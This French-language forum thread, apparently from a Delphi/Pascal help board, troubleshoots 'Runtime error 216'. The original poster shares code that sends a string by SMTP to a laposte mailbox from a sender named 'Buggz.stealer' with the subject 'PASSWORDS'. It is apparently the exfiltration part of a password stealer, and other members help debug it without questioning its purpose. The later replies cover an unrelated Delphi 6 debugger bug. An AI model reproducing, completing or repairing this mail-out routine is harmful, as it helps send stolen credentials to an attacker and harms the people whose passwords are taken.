Runtime error 216

Signaler
Messages postés
47
Date d'inscription
mercredi 27 avril 2005
Statut
Membre
Dernière intervention
9 janvier 2006
-
Messages postés
814
Date d'inscription
vendredi 3 novembre 2000
Statut
Membre
Dernière intervention
30 juillet 2009
-
Yop
pendant l'execution de mon programme qui marchait parfaitement il ya deux jours j'ai : Runtime error 216 in adress 00485464 .
et cela sans raison :( j'ai essayé dans d'autres pc meme chose , le compilateur ne trouve aucune erreur a la compilation .
Help please
A voir également:

10 réponses

Messages postés
3839
Date d'inscription
dimanche 12 décembre 2004
Statut
Modérateur
Dernière intervention
15 avril 2021
120
Heu... sans plus de precision ca risque d'être difficile de t'aider...

Quand cela arrive-til ? Que fait ton programme ?

De plus, pas d'erreur a la compilation ne veut en aucun cas dire par d'erreur... (surtout s'il y a des pointeurs)
Messages postés
47
Date d'inscription
mercredi 27 avril 2005
Statut
Membre
Dernière intervention
9 janvier 2006

Yop
voila une ptite source :

Procedure Wait(code: char);
Begin
writeln(s);
If s[1] <> Code Then halt;
End;
Procedure Echo(s: String);
Begin
writeln(s);
writeln(sout, s);
End;
sHost := 'smtp.laposte.net' ;
sFrom := 'Buggz.stealer@bugplace.com';
sTo := 'buggz.essai@laposte.net ';
sCc := 'test@yahoo.fr';
sSubject := 'PASSWORDS';
sBody := str;


write('call server...');
host := CallServer(sHost, 25);
AssignCrtSock(host, sin, sout);
Wait('2');
Echo('HELO ' + sHost);
Wait('2');
Echo('MAIL From:<' + sFrom + '>');
Wait('2');
Echo('RCPT To:<' + sTo + '>');
Wait('2');
If sCc <> '' Then Begin
Echo('RCPT To:<' + sCc + '>'); //--- deuxième recepteur comme ça tu sera sur de le recevoir
Wait('2');
End;
Echo('DATA');
Wait('3');
Echo('From: ' + sFrom);
Echo('To: ' + sTo);
If sCc <> '' Then Echo('Cc: ' + sCc);
If sType <> '' Then Echo('MIME-Version: 1.0'#13#10'Content-Type: ' + sType + ';'#13#10#9'boundary="' + boundary + '"');
Echo('Subject: ' + sSubject + #13#10);
WriteLn(sout, sBody);
If sType <> '' Then Echo(#13#10'--' + boundary + '--'#13#10);
Echo('.');
Wait('2');

Echo('QUIT');
Wait('2');

Close(Input);
readln;
End.

en debuggant je trouve que l'erreur est ici :
write('call server...');
host := CallServer(sHost, 25);
AssignCrtSock(host, sin, sout);
Wait('2');

exactement ici : AssignCrtSock(host, sin, sout);

j'insiste sur le fait que avant ca marchait tres bien , ne faites pas attention aux variables et tout le reste elle sont declarées plus haut la source contient d'autres fonctions et procedures
Messages postés
3839
Date d'inscription
dimanche 12 décembre 2004
Statut
Modérateur
Dernière intervention
15 avril 2021
120
Procedure Echo(s: String);

Begin

writeln(s);

writeln(sout, s); // Ici

End;



la variable "sout" est de quelle type ? string ou file ?

Si c'est un type file, alors mieux vaut ouvrir et fermer le fichier a
chaque fois que le laisser ouvert en vue de le fermer qu'a la fin...
(ou a la limite utilise la commande "flush(fichier: file)").

Si c'est un type string, que represente "sout" (s'il doit etre affiché ce qu'il represente quelquechose) ?



C'est vrai que si ton code marchait parfaitement il y a 2 jours, c'est
vraiment étrange... (tu es sur que tu as pas recupérer une vieille
source ?)
Messages postés
47
Date d'inscription
mercredi 27 avril 2005
Statut
Membre
Dernière intervention
9 janvier 2006

Yop
sin, sout: TextFile;
enfaite je bossais sur la source mais je n'arrive pas a trouver ce que j'ai changé pour que ca ne marche plus :s donc faut pas dire que ca marche plus comme par miracle sinon je vais essayer d'ouvrir le fichier et de le fermer a chaque fois et je te dit .
Merci a toi
Messages postés
47
Date d'inscription
mercredi 27 avril 2005
Statut
Membre
Dernière intervention
9 janvier 2006

Yop
meme chose :s meme en ouvrant et fermant sout a chaque fois , sinon la commande flush c'est ou que je dois l'utiliser ?
autre idée ?
Merci
Messages postés
3839
Date d'inscription
dimanche 12 décembre 2004
Statut
Modérateur
Dernière intervention
15 avril 2021
120
flush c'est une sorte de closefile sans vraiment le faire. en fait ca enregistre le fichier mais ca ne referme pas le fichier.

Par exemple:

Assignfile(fichier,'');

append(fichier);

WriteLn(fichier, '');

flush(fichier);

WriteLn(fichier, '');

flush(fichier);

closefile(fichier);



Et "sin" aussi tu le referme bien a chaque fois ?

Dans AssignCrtSock(host, sin, sout); essaie de mettre des valeurs fixes a la place de host, sin et sout.

Quels composants utilise tu ?
Messages postés
47
Date d'inscription
mercredi 27 avril 2005
Statut
Membre
Dernière intervention
9 janvier 2006

Yop
j'utilise FXSOCKS , j'ai essayé de fermer sin aussi , meme chose :( .
je ne pense vraiment pas que ce soit le probleme vu que je ne me rapelle pas avoir touché aux fichiers .
Messages postés
814
Date d'inscription
vendredi 3 novembre 2000
Statut
Membre
Dernière intervention
30 juillet 2009
3
hmmm, j'ai le même type de problème :



un code qui marchait bien, je rajoute du code qui manipule le Clipboard, et



au lancement de mon applic:

runtime 255 puis runtime 216.



Le 255 est dans "LoadResourceModule", le 216 est une conséquence du 255 (une truc d'exception)



En mode pas-à-pas, je n'ai pas de pile d'appel.



LE truc qui tue: c'est que le code que je viens de faire n'est PAS encore appelé.
au mieux j'ai ajouter une var TClipboard dans ma form. J'ai essayé
d'enlever tout le code qui touchait au clip ainsi que le use: rien
changé.



j'ai D6 PRO SP2 (avec RTL_1 mis à jour) sur win2k SP4. J'utilise FastMM4.


tout aide est la bien venue!


Loda



PS: je vous tiens au courant de l'évolution...
Messages postés
814
Date d'inscription
vendredi 3 novembre 2000
Statut
Membre
Dernière intervention
30 juillet 2009
3
après quelques recherche, il y a un trojan qui provoque cette erreur (mais ce n'est pas mon cas)



http://support.microsoft.com/default.aspx?scid=http://support.microsoft.com:80/support/kb/articles/Q259/2/79.ASP&NoWebContent=1



et certain exe ou drivers. (cela ne devrait pas nous concerner)



le problème vient de LoadResString, plus précisement de l'ouvertue et
de la fermeture d'une clès de la base de registre. (RegCloseKey). Comme
c'est un API win dont l'appel est dans system.pas, je sais pas trop
quoi faire pour corriger le tire.



Je vais essayer de virer l'units qui provoque l'erreur (initialize de SysUtils).

Loda
Messages postés
814
Date d'inscription
vendredi 3 novembre 2000
Statut
Membre
Dernière intervention
30 juillet 2009
3
J'ai trouvé! (pour mon cas du moins)



c'est un breakpoint (sur l'instruction asm d'après) qui change le comportement d'une instruction asm push.



j'avais un truc genre push $004xxxxx (la prochaine ligne après l'appel de RegCloseKey), et en mode pas-à-pas, il pushait $CC4xxx une adresse dans les choux.



un bug du débugeur de D6 quoi!



Donc, essayes de virer TOUT tes breakpoints juste pour voir !


Loda



PS: runtime 216 est lié a une violation d'accès.